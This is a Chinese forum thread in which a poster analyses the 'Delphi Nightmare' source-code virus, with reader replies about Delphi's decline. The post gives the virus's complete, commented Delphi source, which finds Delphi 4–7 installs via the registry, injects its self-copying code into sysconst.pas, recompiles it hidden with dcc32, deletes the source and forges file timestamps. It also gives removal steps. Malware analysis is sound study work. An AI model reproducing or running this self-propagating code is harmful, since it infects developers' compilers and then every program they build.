Delphi梦魇病毒完整源码分析
本帖最后由 lrtlrt 于 2021-8-16 23:06 编辑前几天在看老文件时,突然报病毒,查了一下是delphi梦魇,这个病毒很特殊,我以前研究的时候知道有一种病毒是源码病毒,他会把代码插入带目标文件中,这是我看到的唯一一个源码病毒,以前一直没有太在意,今天突然想研究一下,就在网上找源码,但是网上都没有完整的病毒源码,于是我就从感染的病毒文件中提取了源码进行分析。
先说说病毒感染的流程:
1、从注册表判断Delphi版本是否为4.0~7.0,如果是就传染,否则不传染
2、读出sysconst.pas文件感染病毒,然后写入到LIB目录下
3、备份sysconst.dcu文件
4、调用dcc32编译sysconst.pas文件
5、编译完成后删除sysconst.pas文件
6、修改sysconst.dcu的时间为原始文件的时间
7、病毒感染完毕
清除病毒:
1、到Delphi的LIB目录下,找到sysconst.bak,将其改为sysconst.dcu即可
2、如果没有找到bak文件,从相关版本的安装盘中找sysconst.dcu覆盖同名文件即可
下面是病毒的完整代码,里面添加了注释:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var sc:array of string=(
'uses windows; var sc:array of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc);for h:= 1 to 23 do writeln(f2',
',$$$$+sc,$$$,$);writeln(f2,$$$$+sc+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);ifh=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; vark:HKEY;c:array of',
'char;i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
//此函数是将字符串中的$替换为单引号
//由于单引号是Delphi中的关键字符,因此sc数组中代码
//里面包含的单引号都用$来表示,当恢复代码时要还原
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s=#36 then s:=#39;
result:=s;
end;
//这个函数将病毒插入sysconst.pas文件中
//然后再编译成dcu文件
//之后就将pas文件删除
//参数:
//s:pas文件
//d:dcu文件
//e:dcc32文件
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
//判断是否感染过病毒,避免重复感染
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
//打开sysconst.pas文件
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
//打开要写的病毒pas文件,这个文件保存在LIB目录下
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then //将病毒代码插入到这个关键字的后面
break;
end;
//插入sc数组到pas文件中
for h:= 1 to 1 do
writeln(f2,sc);
for h:= 1 to 23 do
writeln(f2,''''+sc,''',');
writeln(f2,''''+sc+''');');
//插入病毒代码到pas文件中,替换S字符并写入
for h:= 2 to 24 do
writeln(f2,x(sc));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); //备份dcu原始文件
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;//不显示编译窗口
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE); //等待直到编译结束
MoveFile(pchar(d+'bak'),pchar(d+'dcu')); //防止因失败而丢失dcu文件
DeleteFile(pchar(d+'pas')); //删除病毒源文件
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
//将病毒文件的时间改为原文件的时间
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do //判断Delphi版本是不是4.0~7.0,不是的话就不感染,否则感染
//从注册表读取Delphi的目录信息
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c<>#0 do
begin
r:=r+c;
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); //感染病毒
end;
RegCloseKey(k);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
st;
end;
end.
看懂之前不要编译执行,以免被感染。 国内大多在追求web吃快餐,这个刚好是delphi最弱项。
同时看看,国内的win32桌面程序没什么公司做,看看共享软件已经死透就知道。剩余的桌面软件大多是兴趣+免费。 sail2000 发表于 2021-8-18 09:09
国内大多在追求web吃快餐,这个刚好是delphi最弱项。
同时看看,国内的win32桌面程序没什么公司做,看看共 ...
是这样,现在软件公司基本上都是互联网公司,做桌面软件的越来越少了,大部分都是做手机和服务器开发了,连微信这样的软件都不愿意做pc端的程序了,越来越多的软件只有手机端没有pc端了,连web端也没有,应该是只有一个端方便维护,投入也少。 学习了不错 楼主真厉害,这个病毒样本源代码分析的比较清晰明了。 我之前的delphi7就感染过这病毒,当时觉得莫名其妙的,老是被杀毒软件杀了,新编译的也会被杀,害得我不小心把一些源码搞丢了。后来在网上一搜,靠,原来有这个病毒。 我只想说好久没看到delphi的帖子了,我还以为已经死透了。 搞Delphi好多都转C#了,比如我{:1_936:} 飞天凤凰 发表于 2021-8-17 17:53
搞Delphi好多都转C#了,比如我
Delphi转C#其实是最简单的,因为C#的设计师就是Delphi的设计师,可惜了宝兰公司的这些天才,都被别的的公司挖走了。 戴妃还有一定的生存空间 skypaladin 发表于 2021-8-16 22:18
我只想说好久没看到delphi的帖子了,我还以为已经死透了。
国内用的人少,国外用的貌似还挺多
页:
[1]
2